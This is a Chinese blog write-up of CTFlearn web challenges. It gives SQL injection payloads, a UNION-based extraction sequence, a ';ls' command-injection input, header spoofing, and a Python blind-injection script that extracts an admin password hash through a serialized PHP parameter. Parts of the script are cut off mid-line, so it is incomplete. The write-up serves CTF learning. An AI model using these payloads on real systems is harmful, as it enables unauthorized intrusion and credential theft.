CTFlearn.writeup(web)

黑羽re 于 2018-04-27 20:37:59 发布 1056 收藏
分类专栏： CTF

本文链接：https://blog.csdn.net/m0_38094687/article/details/80113097
版权

CTF 专栏收录该内容
6 篇文章 1 订阅
订阅专栏

CTFlean writeups(web)

CTFlearn平台

Basic Injection

payload: `1' or 1#`

POST practice

右键源码:

```
<!-- username: admin | password: 71urlkufpsdnlkadsf -->
```

post提交即可

Don’t Bump Your Head(er)

按照要求改user-agent 和 referer即可:

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.6,en-US;q=0.4,en;q=0.2
Cache-Control: no-cache
Connection: keep-alive
Host: ctflearn.com
Pragma: no-cache
referer: awesomesauce.com
Upgrade-Insecure-Requests: 1
User-Agent: Sup3rS3cr3tAg3nt
```

Calculat3 M3

页面是个计算器,js代码中有

```
    c(eval(document.getElementById("d").value))
```

命令执行.会post一个参数expression
不过只能`ls`,其他都被过滤了,连`ls -a`也不行

payload:`expression=;ls`

Inj3ction Time

1. `1 and 1=0#` 和`1 and 1=1#`结果不一样
2. `1 order by 4#` 4个字段

`0 union select 1,2,table_name,4 from information_schema.tables where table_schema=database()--+`

`0 union select 1,2,group_concat(column_name),4 from information_schema.columns where`

`table_schema=database()--+`

5. `0 union select 1,2,group_concat(f0und_m3),4 from w0w_y0u_f0und_m3--+` 得到flag

测试了一下`mysql.innodb_index_stats`发现不行.
本地测试的时候可以看出这个表是用来记录数据变动的
根据这篇博客的说法:从5.6.x版本开始添加了`mysql.innodb_index_stats` & `mysql.innodb_table_stats`
而记录时间是`InnoDB Persistent Statistics Tables`

Grid It!

压轴题出现(sql注入+序列化),应该是本平台除了变态的js混淆外最难也最有价值的题了
http://web.ctflearn.com/grid/index.php
注册个账户进入主页,大概的功能就是通过x,y加点,加完点后delete_point很可疑
`http://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:5:"point":3:{s:1:"x";s:1:"1";s:1:"y";s:1:"1";s:2:"ID";s:6:"542304";}`

大概的思路就是添加一个点进去,看一下用payload能不能删除,删除成功即id不存在,说明payload语句为true.二分法爆破的方法是从书神那里学来的,确实快不少.这里写脚本:

```
import requests
import re
import sys
p = re.compile(r'''ID: (.+?)&nbspx:''')
ans = ''
for pos in range(1,33):
    l = 0
    r = 127
    headers = {"Cookie": "PHPSESSID=8rmq4bgp0uhraog0kvqbcnj6u0"}
    data = {"x": "1", "y": "1"}
    while l<r:
        mid = int((l+r)/2)
        requests.post(
            "http://web.ctflearn.com/grid/controller.php?action=add_point", data=data, headers=headers)
        resp = requests.get("http://web.ctflearn.com/grid/", headers=headers).text
        _id = p.search(resp).group(1)
        payload = _id +  ' and ord(mid((select password from user where username="admin" limit 0, 1), '
        length = len(payload)
        resp = requests.get('''http://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:
        resp = requests.get("http://web.ctflearn.com/grid/",headers=headers).text
        if _id not in resp:
            l = mid+1
        else:
            r = mid
    if l==0:
        break
    ans = ans + chr(l)
    print(ans)
    sys.stdout.flush()
    #point,user
    #username,password,uid
    #admin,test,,time,b,yeraisci,bro,bajilak,tes{},1234,tes
    #0c2c99a4ad05d39177c30b30531b119b
```

先替换自己的cookie再操作

最后跑出字段,数值,将admin的password的md5值在SOD解密一下,然后以管理员的身份进入即可得到flag